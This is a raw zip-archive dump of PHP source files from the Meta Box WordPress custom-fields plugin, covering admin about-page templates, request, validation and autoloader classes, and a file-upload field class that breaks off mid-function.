				<li><a target="_blank" href="https://metabox.io/plugins/meta-box-builder/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Meta Box Builder', 'meta-box' ); ?></a> - <?php esc_html_e( 'Build meta boxes and fields with UI.', 'meta-box' ); ?></li>
				<li><a target="_blank" href="https://metabox.io/plugins/meta-box-group/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Meta Box Group', 'meta-box' ); ?></a> - <?php esc_html_e( 'Organize fields into repeatable groups.', 'meta-box' ); ?></li>
				<li><a target="_blank" href="https://metabox.io/plugins/meta-box-conditional-logic/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Meta Box Conditional Logic', 'meta-box' ); ?></a> - <?php esc_html_e( 'Control the visibility of fields.', 'meta-box' ); ?></li>
				<li><a target="_blank" href="https://metabox.io/plugins/mb-settings-page/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'MB Settings Page', 'meta-box' ); ?></a> - <?php esc_html_e( 'Create settings pages/Customizer options.', 'meta-box' ); ?></li>
			</ul>

			<div class="youtube-video-container">
				<iframe width="560" height="315" src="https://www.youtube.com/embed/M0nEF7b0woU" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
			</div>
			<p><a class="button" target="_blank" href="https://metabox.io/plugins/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'More Extensions', 'meta-box' ); ?></a></p>
		</div>
	</div>
</div>
PK     N\U    9  inc/dashboard/lib/meta-box/inc/about/sections/upgrade.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<div class="upgrade">
	<h3><span class="dashicons dashicons-awards"></span> <?php esc_html_e( 'Upgrade to Meta Box PRO', 'meta-box' ); ?></h3>
	<p><?php esc_html_e( 'Please upgrade to the PRO plan to unlock more awesome features.', 'meta-box' ); ?></p>
	<ul>
		<li><svg class="icon"><use xlink:href="#checkmark-outline"></use></svg><?php esc_html_e( 'Create custom fields with drag-n-drop interface - no coding knowledge required!', 'meta-box' ); ?></li>
		<li><svg class="icon"><use xlink:href="#checkmark-outline"></use></svg><?php esc_html_e( 'Add custom fields to taxonomies or user profile.', 'meta-box' ); ?></li>
		<li><svg class="icon"><use xlink:href="#checkmark-outline"></use></svg><?php esc_html_e( 'Create custom settings pages.', 'meta-box' ); ?></li>
		<li><svg class="icon"><use xlink:href="#checkmark-outline"></use></svg><?php esc_html_e( 'Create frontend submission forms.', 'meta-box' ); ?></li>
		<li><svg class="icon"><use xlink:href="#checkmark-outline"></use></svg><?php esc_html_e( 'Save custom fields in custom tables.', 'meta-box' ); ?></li>
		<li><svg class="icon"><use xlink:href="#checkmark-outline"></use></svg><?php esc_html_e( 'And much more!', 'meta-box' ); ?></li>
	</ul>
	<a class="button button-primary" target="_blank" href="https://metabox.io/pricing/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Get Meta Box PRO now', 'meta-box' ); ?></a>
</div>
<svg xmlns="http://www.w3.org/2000/svg" style="display: none;">
	<symbol id="checkmark-outline" viewBox="0 0 20 20">
		<path d="M2.93 17.07A10 10 0 1 1 17.07 2.93 10 10 0 0 1 2.93 17.07zm12.73-1.41A8 8 0 1 0 4.34 4.34a8 8 0 0 0 11.32 11.32zM6.7 9.29L9 11.6l4.3-4.3 1.4 1.42L9 14.4l-3.7-3.7 1.4-1.42z"/>
	</symbol>
</svg>
PK     N\3  3  8  inc/dashboard/lib/meta-box/inc/about/sections/review.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<div class="postbox">
	<h3 class="hndle">
		<span><?php esc_html_e( 'Write a review for Meta Box', 'meta-box' ) ?></span>
	</h3>
	<div class="inside">
		<p><?php esc_html_e( 'If you like Meta Box, please write a review on WordPress.org to help us spread the word. We really appreciate that!', 'meta-box' ) ?></p>
		<p><a href="https://wordpress.org/support/plugin/meta-box/reviews/?filter=5" class="button" target="_blank" rel="noopenner noreferrer"><?php esc_html_e( 'Write a review', 'meta-box' ) ?></a></p>
	</div>
</div>
PK     N\j
  
  E  inc/dashboard/lib/meta-box/inc/about/sections/getting-started-pro.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<div id="getting-started" class="gt-tab-pane gt-is-active">
	<p class="about-description"><?php esc_html_e( 'Please follow this video tutorial to get started with Meta Box and extensions:', 'meta-box' ); ?></p>
	<div class="youtube-video-container">
		<iframe width="560" height="315" src="https://www.youtube.com/embed/M0nEF7b0woU" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
	</div>
	<h3 class="tutorial"><a href="https://docs.metabox.io/tutorials/" target="_blank"><?php esc_html_e( 'Tutorials', 'meta-box' ) ?></a></h3>
	<p class="about-description"><?php esc_html_e( "We've made bunches of tutorials that come with videos, let's take a look to have detailed guides to create custom fields and apply them in real cases.", 'meta-box' ); ?></p>
	<div class="tutorial-items">
		<a href="https://docs.metabox.io/tutorials/beginners/" target="_blank"><span class="dashicons dashicons-text-page"></span><?php esc_html_e( 'Beginners', 'meta-box' ); ?><p><?php esc_html_e( 'Let’s start with some basic practices with Meta Box.', 'meta-box' ) ?></p></a>
		<a href="https://docs.metabox.io/tutorials/case-studies/" target="_blank"><span class="dashicons dashicons-text-page"></span><?php esc_html_e( 'Case Studies', 'meta-box' ); ?><p><?php esc_html_e( 'See how to use Meta Box in the real case studies with comprehensive tutorials.', 'meta-box' ) ?></p></a>
		<a href="https://docs.metabox.io/tutorials/general-guide/" target="_blank"><span class="dashicons dashicons-text-page"></span><?php esc_html_e( 'General Guide', 'meta-box' ); ?><p><?php esc_html_e( 'See how to use Meta box in common tasks.', 'meta-box' ) ?></p></a>
		<a href="https://docs.metabox.io/tutorials/extensions/" target="_blank"><span class="dashicons dashicons-text-page"></span><?php esc_html_e( 'Extensions', 'meta-box' ); ?><p><?php esc_html_e( 'Learn about Meta Box extensions, what features they offer and how to use them.', 'meta-box' ) ?></p></a>
		<a href="https://docs.metabox.io/tutorials/builders/" target="_blank"><span class="dashicons dashicons-text-page"></span><?php esc_html_e( 'Page Builders', 'meta-box' ); ?><p><?php esc_html_e( 'Tutorials on combining Meta Box and other builders or tools for real case studies.', 'meta-box' ) ?></p></a>
		<a href="https://docs.metabox.io/tutorials/mb-views/" target="_blank"><span class="dashicons dashicons-text-page"></span><?php esc_html_e( 'MB Views', 'meta-box' ); ?><p><?php esc_html_e( 'Build front-end templates for WordPress without touching theme files. Support Twig and all field types.', 'meta-box' ) ?></p></a>
	</div>
</div>
PK     N\I;    6  inc/dashboard/lib/meta-box/inc/about/sections/tabs.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<h2 class="nav-tab-wrapper">
	<a href="#getting-started" class="nav-tab nav-tab-active"><?php esc_html_e( 'Getting Started', 'meta-box' ); ?></a>
	<?php do_action( 'rwmb_about_tabs' ); ?>
	<a href="#extensions" class="nav-tab"><?php esc_html_e( 'Extensions', 'meta-box' ); ?></a>
	<a href="#support" class="nav-tab"><?php esc_html_e( 'Support', 'meta-box' ); ?></a>
</h2>
PK     N\"    :  inc/dashboard/lib/meta-box/inc/about/sections/products.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<div class="postbox">
	<h3 class="hndle">
		<span><?php esc_html_e( 'Our WordPress Products', 'meta-box' ) ?></span>
	</h3>
	<div class="inside">
		<p><?php esc_html_e( 'Like this plugin? Check out our other WordPress products:', 'meta-box' ) ?></p>
		<p><a href="https://wpslimseo.com?utm_source=WordPress&utm_medium=link&utm_campaign=meta-box" target="_blank" rel="noopenner noreferrer">Slim SEO</a> - <?php esc_html_e( 'Automated & fast SEO plugin for WordPress', 'meta-box' ) ?></p>
		<p><a href="https://wpslimseo.com/slim-seo-schema/?utm_source=WordPress&utm_medium=link&utm_campaign=meta-box" target="_blank" rel="noopenner noreferrer">Slim SEO Schema</a> - <?php esc_html_e( 'The best schema plugin for WordPress', 'meta-box' ) ?></p>
		<p><a href="https://gretathemes.com?utm_source=WordPress&utm_medium=link&utm_campaign=meta-box" target="_blank" rel="noopenner noreferrer">GretaThemes</a> - <?php esc_html_e( 'Simple, elegant and clean WordPress themes', 'meta-box' ) ?></p>
	</div>
</div>
PK     N\n=<    9  inc/dashboard/lib/meta-box/inc/about/sections/welcome.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<h1>
	<?php
	$plugin_data = get_plugin_data( RWMB_DIR . 'meta-box.php', false, false );

	// Translators: %s - Plugin name.
	echo esc_html( sprintf( __( 'Welcome to %s', 'meta-box' ), $plugin_data['Name'] ) );
	?>
</h1>
<div class="about-text"><?php esc_html_e( 'Meta Box is a free Gutenberg and GDPR-compatible WordPress custom fields plugin and framework that makes quick work of customizing a website with—you guessed it—meta boxes and custom fields in WordPress. Follow the instruction below to get started!', 'meta-box' ); ?></div>
<a target="_blank" class="wp-badge" href="https://metabox.io/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php echo esc_html( $plugin_data['Name'] ); ?></a>
<p class="about-buttons">
	<a target="_blank" class="button" href="https://docs.metabox.io?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Documentation', 'meta-box' ); ?></a>
	<a target="_blank" class="button" href="https://support.metabox.io/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Support', 'meta-box' ); ?></a>
	<a target="_blank" class="button" href="http://facebook.com/groups/metaboxusers"><?php esc_html_e( 'Facebook Group', 'meta-box' ); ?></a>
	<a target="_blank" class="button" href="https://www.youtube.com/c/MetaBoxWP"><?php esc_html_e( 'Youtube Channel', 'meta-box' ); ?></a>
</p>
PK     N\ь    *  inc/dashboard/lib/meta-box/inc/request.phpnu [        <?php
/**
 * A very simple request class that handles form inputs.
 * Based on the code of Symphony framework, (c) Fabien Potencier <fabien@symfony.com>
 *
 * @link https://github.com/laravel/framework/blob/6.x/src/Illuminate/Http/Request.php
 * @link https://github.com/symfony/symfony/blob/4.4/src/Symfony/Component/HttpFoundation/ParameterBag.php
 */
class RWMB_Request {
	private $get_data  = [];
	private $post_data = [];

	public function __construct() {
		// @codingStandardsIgnoreLine
		$this->get_data  = $_GET;
		// @codingStandardsIgnoreLine
		$this->post_data = $_POST;
	}

	public function set_get_data( array $data ) {
		$this->get_data = array_merge( $this->get_data, $data );
	}

	public function set_post_data( array $data ) {
		$this->post_data = array_merge( $this->post_data, $data );
	}

	public function get( string $name, $default = null ) {
		return $this->get_data[ $name ] ?? $default;
	}

	public function post( string $name, $default = null ) {
		return $this->post_data[ $name ] ?? $default;
	}

	/**
	 * Filter a GET parameter.
	 *
	 * @param string $name    Parameter name.
	 * @param int    $filter  FILTER_* constant.
	 * @param mixed  $options Filter options.
	 *
	 * @return mixed
	 */
	public function filter_get( string $name, $filter = FILTER_DEFAULT, $options = [] ) {
		$value = $this->get( $name );
		return filter_var( $value, $filter, $options );
	}

	/**
	 * Filter a POST parameter.
	 *
	 * @param string $name    Parameter name.
	 * @param int    $filter  FILTER_* constant.
	 * @param mixed  $options Filter options.
	 *
	 * @return mixed
	 */
	public function filter_post( string $name, $filter = FILTER_DEFAULT, $options = [] ) {
		$value = $this->post( $name );
		return filter_var( $value, $filter, $options );
	}
}
PK     N\f    3  inc/dashboard/lib/meta-box/inc/storage-registry.phpnu [        <?php
/**
 * Storage registry class
 */
class RWMB_Storage_Registry {
	protected $storages = [];

	/**
	 * Get storage instance.
	 *
	 * @param string $class_name Storage class name.
	 * @return RWMB_Storage_Interface
	 */
	public function get( $class_name ) {
		if ( empty( $this->storages[ $class_name ] ) ) {
			$this->storages[ $class_name ] = new $class_name();
		}

		return $this->storages[ $class_name ];
	}
}
PK     N\p[
  [
  -  inc/dashboard/lib/meta-box/inc/validation.phpnu [        <?php
/**
 * Validation module.
 */
class RWMB_Validation {
	public function __construct() {
		add_action( 'rwmb_after', [ $this, 'rules' ] );
		add_action( 'rwmb_enqueue_scripts', [ $this, 'enqueue' ] );
	}

	/**
	 * Output validation rules of each meta box.
	 * The rules are outputted in [data-validation] attribute of an hidden <script> and will be converted into JSON by JS.
	 */
	public function rules( RW_Meta_Box $meta_box ) {
		$settings = $meta_box->meta_box;
		if ( empty( $settings['validation'] ) ) {
			return;
		}

		$prefix     = $settings['prefix'] ?? ''; // Get field ID prefix from the builder.
		$fields     = $settings['fields'];
		$validation = $settings['validation'];
		$ids        = wp_list_pluck( $fields, 'id' ); // Don't use array_column() as it doesn't preserve keys.

		// Add prefix for validation rules.
		foreach ( $validation as &$rules ) {
			$rules = array_combine(
				array_map( function ( $key ) use ( $fields, $prefix, $ids ) {
					$id    = $prefix . $key;
					$index = array_search( $id, $ids, true );

					if ( $index === false ) {
						return $id;
					}

					$field = $fields[ $index ];

					if ( in_array( $field['type'], [ 'file', 'image' ], true ) ) {
						return $field['clone'] ? $field['index_name'] : $field['input_name'];
					}

					return $id;
				}, array_keys( $rules ) ),
				$rules
			);
		}

		echo '<script type="text/html" class="rwmb-validation" data-validation="' . esc_attr( wp_json_encode( $validation ) ) . '"></script>';
	}

	public function enqueue() {
		wp_enqueue_script( 'jquery-validation', RWMB_JS_URL . 'validation/jquery.validate.js', [ 'jquery' ], '1.20.0', true );
		wp_enqueue_script( 'jquery-validation-additional-methods', RWMB_JS_URL . 'validation/additional-methods.js', [ 'jquery-validation' ], '1.20.0', true );
		wp_enqueue_script( 'rwmb-validation', RWMB_JS_URL . 'validation/validation.js', [ 'jquery-validation-additional-methods', 'rwmb' ], RWMB_VER, true );

		$locale       = determine_locale();
		$locale_short = substr( $locale, 0, 2 );
		$locale       = file_exists( RWMB_DIR . "js/validation/i18n/messages_$locale.js" ) ? $locale : $locale_short;

		if ( file_exists( RWMB_DIR . "js/validation/i18n/messages_$locale.js" ) ) {
			wp_enqueue_script( 'jquery-validation-i18n', RWMB_JS_URL . "validation/i18n/messages_$locale.js", [ 'jquery-validation-additional-methods' ], '1.20.0', true );
		}

		RWMB_Helpers_Field::localize_script_once( 'rwmb-validation', 'rwmbValidation', [
			'message' => esc_html( apply_filters( 'rwmb_validation_message_string', __( 'Please correct the errors highlighted below and try again.', 'meta-box' ) ) ),
		] );
	}
}
PK     N\8f    -  inc/dashboard/lib/meta-box/inc/autoloader.phpnu [        <?php
/**
 * Autoload plugin classes.
 */
class RWMB_Autoloader {
	protected $dirs = [];

	/**
	 * Adds a base directory for a class name prefix and/or suffix.
	 *
	 * @param string $dir    A base directory for class files.
	 * @param string $prefix The class name prefix.
	 * @param string $suffix The class name suffix.
	 */
	public function add( string $dir, string $prefix, string $suffix = '' ) {
		$this->dirs[] = [
			'dir'    => trailingslashit( $dir ),
			'prefix' => $prefix,
			'suffix' => $suffix,
		];
	}

	public function register() {
		spl_autoload_register( [ $this, 'autoload' ] );
	}

	public function autoload( string $class_name ) {
		foreach ( $this->dirs as $dir ) {
			if (
				( $dir['prefix'] && ! str_starts_with( $class_name, $dir['prefix'] ) )
				|| ( $dir['suffix'] && ! str_ends_with( $class_name, $dir['suffix'] ) )
			) {
				continue;
			}
			$file = substr( $class_name, strlen( $dir['prefix'] ) );
			if ( $dir['suffix'] && strlen( $file ) > strlen( $dir['suffix'] ) ) {
				$file = substr( $file, 0, - strlen( $dir['suffix'] ) );
			}
			if ( function_exists( 'mb_strtolower' ) && function_exists( 'mb_detect_encoding' ) ) {
				$file = mb_strtolower( str_replace( '_', '-', $file ), mb_detect_encoding( $file ) ) . '.php';
			} else {
				$file = strtolower( str_replace( '_', '-', $file ) ) . '.php';
			}
			$file = $dir['dir'] . $file;
			$this->require( $file );
		}
	}

	private function require( string $file ) {
		if ( file_exists( $file ) ) {
			require_once $file;
		}
	}
}
PK     N\*>    7  inc/dashboard/lib/meta-box/inc/fields/checkbox-list.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The checkbox list field which shows a list of choices and allow users to select multiple options.
 */
class RWMB_Checkbox_List_Field extends RWMB_Input_List_Field {
	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field['multiple'] = true;
		$field             = parent::normalize( $field );

		return $field;
	}
}
PK     N\S{P=  P=  .  inc/dashboard/lib/meta-box/inc/fields/file.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The file upload file which allows users to upload files via the default HTML <input type="file">.
 */
class RWMB_File_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-file', RWMB_CSS_URL . 'file.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-file', 'path', RWMB_CSS_DIR . 'file.css' );
		wp_enqueue_script( 'rwmb-file', RWMB_JS_URL . 'file.js', [ 'jquery-ui-sortable' ], RWMB_VER, true );

		RWMB_Helpers_Field::localize_script_once( 'rwmb-file', 'rwmbFile', [
			// Translators: %d is the number of files in singular form.
			'maxFileUploadsSingle' => __( 'You may only upload maximum %d file', 'meta-box' ),
			// Translators: %d is the number of files in plural form.
			'maxFileUploadsPlural' => __( 'You may only upload maximum %d files', 'meta-box' ),
		] );
	}

	public static function add_actions() {
		add_action( 'post_edit_form_tag', [ __CLASS__, 'post_edit_form_tag' ] );
		add_action( 'wp_ajax_rwmb_delete_file', [ __CLASS__, 'ajax_delete_file' ] );
	}

	public static function post_edit_form_tag() {
		echo ' enctype="multipart/form-data"';
	}

	public static function ajax_delete_file() {
		$request  = rwmb_request();
		$field_id = (string) $request->filter_post( 'field_id' );
		$type     = str_contains( $request->filter_post( 'field_name' ), '[' ) ? 'child' : 'top';
		check_ajax_referer( "rwmb-delete-file_{$field_id}" );

		if ( 'child' === $type ) {
			$field_group = explode( '[', $request->filter_post( 'field_name' ) );
			$field_id    = $field_group[0]; // This is top parent field_id.
		}
		// Make sure the file to delete is in the custom field.
		$attachment  = $request->post( 'attachment_id' );
		$object_id   = $request->filter_post( 'object_id' );
		$object_type = (string) $request->filter_post( 'object_type' );
		$field       = rwmb_get_field_settings( $field_id, [ 'object_type' => $object_type ], $object_id );
		$field_value = self::raw_meta( $object_id, $field );

		if ( ! self::in_array_r( $attachment, $field_value ) ) {
			wp_send_json_error( __( 'Error: Invalid file', 'meta-box' ) );
		}
		// Delete the file.
		if ( is_numeric( $attachment ) ) {
			$result = wp_delete_attachment( $attachment );
		} else {
			$path   = str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $attachment );
			$result = unlink( $path );
		}

		if ( $result ) {
			wp_send_json_success();
		}
		wp_send_json_error( __( 'Error: Cannot delete file', 'meta-box' ) );
	}

	/**
	 * Recursively search needle in haystack
	 */
	protected static function in_array_r( $needle, $haystack, $strict = false ) : bool {
		foreach ( $haystack as $item ) {
			if ( ( $strict ? $item === $needle : $item == $needle ) || ( is_array( $item ) && self::in_array_r( $needle, $item, $strict ) ) ) {
					return true;
			}
		}
		return false;
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$meta      = array_filter( (array) $meta );
		$i18n_more = apply_filters( 'rwmb_file_add_string', _x( '+ Add new file', 'file upload', 'meta-box' ), $field );
		$html      = self::get_uploaded_files( $meta, $field );

		// Show form upload.
		$attributes          = self::get_attributes( $field, $meta );
		$attributes['type']  = 'file';
		$attributes['name']  = "{$field['input_name']}[]";
		$attributes['class'] = 'rwmb-file-input';

		/*
		 * Use JavaScript to toggle 'required' attribute, because:
		 * - Field might already have value (uploaded files).
		 * - Be able to detect when uploading multiple files.
		 */
		if ( $attributes['required'] ) {
			$attributes['data-required'] = 1;
			$attributes['required']      = false;
		}

		// Upload new files.
		$html .= sprintf(
			'<div class="rwmb-file-new"><input %s>',
			self::render_attributes( $attributes )
		);
		if ( 1 !== $field['max_file_uploads'] ) {
			$html .= sprintf(
				'<a class="rwmb-file-add" href="#"><strong>%s</strong></a>',
				$i18n_more
			);
		}
		$html .= '</div>';

		$html .= sprintf(
			'<input type="hidden" class="rwmb-file-index" name="%s" value="%s">',
			$field['index_name'],
			$field['input_name']
		);

		return $html;
	}

	/**
	 * Get HTML for uploaded files.
	 *
	 * @param array $files List of uploaded files.
	 * @param array $field Field parameters.
	 * @return string
	 */
	protected static function get_uploaded_files( $files, $field ) {
		$delete_nonce = wp_create_nonce( "rwmb-delete-file_{$field['id']}" );
		$output       = '';

		foreach ( (array) $files as $k => $file ) {
			// Ignore deleted files (if users accidentally deleted files or uses `force_delete` without saving post).
			if ( get_attached_file( $file ) || $field['upload_dir'] ) {
				$output .= static::file_html( $file, $k, $field );
			}
		}

		return sprintf(
			'<ul class="rwmb-files" data-field_id="%s" data-field_name="%s" data-delete_nonce="%s" data-force_delete="%s" data-max_file_uploads="%s" data-mime_type="%s">%s</ul>',
			$field['id'],
			$field['field_name'],
			$delete_nonce,
			$field['force_delete'] ? 1 : 0,
			$field['max_file_uploads'],
			$field['mime_type'],
			$output
		);
	}

	/**
	 * Get HTML for uploaded file.
	 *
	 * @param int   $file  Attachment (file) ID.
	 * @param int   $index File index.
	 * @param array $field Field data.
	 * @return string
	 */
	protected static function file_html( $file, $index, $field ) {
		$i18n_delete = apply_filters( 'rwmb_file_delete_string', _x( 'Delete', 'file upload', 'meta-box' ) );
		$i18n_edit   = apply_filters( 'rwmb_file_edit_string', _x( 'Edit', 'file upload', 'meta-box' ) );
		$attributes  = self::get_attributes( $field, $file );

		if ( ! $file ) {
			return '';
		}

		if ( $field['upload_dir'] ) {
			$data = self::file_info_custom_dir( $file, $field );
		} else {
			$data      = [
				'icon'      => wp_get_attachment_image( $file, [ 48, 64 ], true ),
				'name'      => basename( get_attached_file( $file ) ),
				'url'       => wp_get_attachment_url( $file ),
				'title'     => get_the_title( $file ),
				'edit_link' => '',
			];
			$edit_link = get_edit_post_link( $file );
			if ( $edit_link ) {
				$data['edit_link'] = sprintf( '<a href="%s" class="rwmb-file-edit" target="_blank">%s</a>', $edit_link, $i18n_edit );
			}
		}

		return sprintf(
			'<li class="rwmb-file">
				<div class="rwmb-file-icon">%s</div>
				<div class="rwmb-file-info">
					<a href="%s" target="_blank" class="rwmb-file-title">%s</a>
					<div class="rwmb-file-name">%s</div>
					<div class="rwmb-file-actions">
						%s
						<a href="#" class="rwmb-file-delete" data-attachment_id="%s">%s</a>
					</div>
				</div>
				<input type="hidden" name="%s[%s]" value="%s">
			</li>',
			$data['icon'],
			esc_url( $data['url'] ),
			esc_html( $data['title'] ),
			esc_html( $data['name'] ),
			$data['edit_link'],
			esc_attr( $file ),
			esc_html( $i18n_delete ),
			esc_attr( $attributes['name'] ),
			esc_attr( $index ),
			esc_attr( $file )
		);
	}

	protected static function file_info_custom_dir( string $file, array $field ) : array {
		$path     = wp_normalize_path( trailingslashit( $field['upload_dir'] ) . basename( $file ) );
		$ext      = pathinfo( $path, PATHINFO_EXTENSION );
		$icon_url = wp_mime_type_icon( wp_ext2type( $ext ) );
		$data     = [
			'icon'      => '<img width="48" height="64" src="' . esc_url( $icon_url ) . '" alt="">',
			'name'      => basename( $path ),
			'path'      => $path,
			'url'       => $file,
			'title'     => preg_replace( '/\.[^.]+$/', '', basename( $path ) ),
			'edit_link' => '',
		];
		return $data;
	}

	/**
	 * Get meta values to save.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return array|mixed
	 */
	public static function value( $new, $old, $post_id, $field ) {
		$input = $field['index'] ?? $field['input_name'];

		// @codingStandardsIgnoreLine
		if ( empty( $input ) || empty( $_FILES[ $input ] ) ) {
			return $new;
		}

		$new = array_filter( (array) $new );

		$count = self::transform( $input );
		for ( $i = 0; $i < $count; $i ++ ) {
			$attachment = self::handle_upload( "{$input}_{$i}", $post_id, $field );
			if ( $attachment && ! is_wp_error( $attachment ) ) {
				$new[] = $attachment;
			}
		}

		return $new;
	}

	/**
	 * Get meta values to save for cloneable fields.
	 *
	 * @param array $new         The submitted meta value.
	 * @param array $old         The existing meta value.
	 * @param int   $object_id   The object ID.
	 * @param array $field       The field settings.
	 * @param array $data_source Data source. Either $_POST or custom array. Used in group to get uploaded files.
	 *
	 * @return mixed
	 */
	public static function clone_value( $new, $old, $object_id, $field, $data_source = null ) {
		if ( ! $data_source ) {
			// @codingStandardsIgnoreLine
			$data_source = $_POST;
		}

		$indexes = $data_source[ "_index_{$field['id']}" ] ?? [];
		foreach ( $indexes as $key => $index ) {
			$field['index'] = $index;

			$old_value   = $old[ $key ] ?? [];
			$value       = $new[ $key ] ?? [];
			$value       = self::value( $value, $old_value, $object_id, $field );
			$new[ $key ] = self::filter( 'sanitize', $value, $field, $old_value, $object_id );
		}

		return $new;
	}

	/**
	 * Handle file upload.
	 * Consider upload to Media Library or custom folder.
	 *
	 * @param string $file_id File ID in $_FILES when uploading.
	 * @param int    $post_id Post ID.
	 * @param array  $field   Field settings.
	 *
	 * @return \WP_Error|int|string WP_Error if has error, attachment ID if upload in Media Library, URL to file if upload to custom folder.
	 */
	protected static function handle_upload( $file_id, $post_id, $field ) {
		return $field['upload_dir'] ? self::handle_upload_custom_dir( $file_id, $field ) : media_handle_upload( $file_id, $post_id );
	}

	/**
	 * Transform $_FILES from $_FILES['field']['key']['index'] to $_FILES['field_index']['key'].
	 *
	 * @param string $input_name The field input name.
	 *
	 * @return int The number of uploaded files.
	 */
	protected static function transform( $input_name ) {
		// @codingStandardsIgnoreStart
		foreach ( $_FILES[ $input_name ] as $key => $list ) {
			foreach ( $list as $index => $value ) {
				$file_key = "{$input_name}_{$index}";
				if ( ! isset( $_FILES[ $file_key ] ) ) {
					$_FILES[ $file_key ] = [];
				}
				$_FILES[ $file_key ][ $key ] = $value;
			}
		}

		return count( $_FILES[ $input_name ]['name'] );
		// @codingStandardsIgnoreEnd
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'std'                      => [],
			'force_delete'             => false,
			'max_file_uploads'         => 0,
			'mime_type'                => '',
			'upload_dir'               => '',
			'unique_filename_callback' => null,
		] );

		$field['multiple']   = true;
		$field['input_name'] = "_file_{$field['id']}";
		$field['index_name'] = "_index_{$field['id']}";

		return $field;
	}

	/**
	 * Get the field value. Return meaningful info of the files.
	 *
	 * @param  array    $field   Field parameters.
	 * @param  array    $args    Not used for this field.
	 * @param  int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return mixed Full info of uploaded files
	 */
	public static function get_value( $field, $args = [], $post_id = null ) {
		$value = parent::get_value( $field, $args, $post_id );
		if ( ! $field['clone'] ) {
			$value = static::files_info( $field, $value, $args );
		} else {
			$return = [];
			foreach ( $value as $subvalue ) {
				$return[] = static::files_info( $field, $subvalue, $args );
			}
			$value = $return;
		}
		if ( isset( $args['limit'] ) ) {
			$value = array_slice( $value, 0, intval( $args['limit'] ) );
		}
		return $value;
	}

	/**
	 * Get uploaded files information.
	 *
	 * @param array $field Field parameters.
	 * @param array $files Files IDs.
	 * @param array $args  Additional arguments (for image size).
	 * @return array
	 */
	public static function files_info( $field, $files, $args ) {
		$return = [];
		foreach ( (array) $files as $file ) {
			$info = static::file_info( $file, $args, $field );
			if ( $info ) {
				$return[ $file ] = $info;
			}
		}
		return $return;
	}

	/**
	 * Get uploaded file information.
	 *
	 * @param int   $file  Attachment file ID (post ID). Required.
	 * @param array $args  Array of arguments (for size).
	 * @param array $field Field settings.
	 *
	 * @return array|bool False if file not found. Array of (id, name, path, url) on success.
	 */
	public static function file_info( $file, $args = [], $field = [] ) {
		if ( ! empty( $field['upload_dir'] ) ) {
			return self::file_info_custom_dir( $file, $field );
		}

		$path = get_attached_file( $file );
		if ( ! $path ) {
			return false;
		}

		return wp_parse_args(
			[
				'ID'    => $file,
				'name'  => basename( $path ),
				'path'  => $path,
				'url'   => wp_get_attachment_url( $file ),
				'title' => get_the_title( $file ),
			],
			wp_get_attachment_metadata( $file )
		);
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param array    $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return sprintf( '<a href="%s" target="_blank">%s</a>', esc_url( $value['url'] ), esc_html( $value['title'] ) );
	}

	/**
	 * Handle upload for files in custom directory.
	 *
	 * @param string $file_id File ID in $_FILES when uploading.
	 * @param array  $field   Field settings.
	 *
	 * @return string URL to uploaded file.
	 */
	public static function handle_upload_custom_dir( $file_id, $field ) {
		// @codingStandardsIgnoreStart
		if ( empty( $_FILES[ $file_id ] ) ) {
			return;
		}
		$file = $_FILES[ $file_id ];
		// @codingStandardsIgnoreEnd

		// Use a closure to filter upload directory. Requires PHP >= 5.3.0.
		$filter_upload_dir = function( $uploads ) use ( $field ) {
			$uploads['path']    = $field['upload_dir'];
			$uploads['url']     = self::convert_path_to_url( $field['upload_dir'] );
			$uploads['subdir']  = '';
			$uploads['basedir'] = $field['upload_dir'];

			return $uploads;
		};

		// Make sure upload dir is inside WordPress.
		$upload_dir = wp_normalize_path( untrailingslashit( $field['upload_dir'] ) );
		$root       = wp_normalize_path( untrailingslashit( ABSPATH ) );
		if ( ! str_starts_with( $upload_dir, $root ) ) {
			return;
		}

		// Let WordPress handle upload to the custom directory.
		add_filter( 'upload_dir', $filter_upload_dir );
		$overrides = [
			'test_form'                => false,
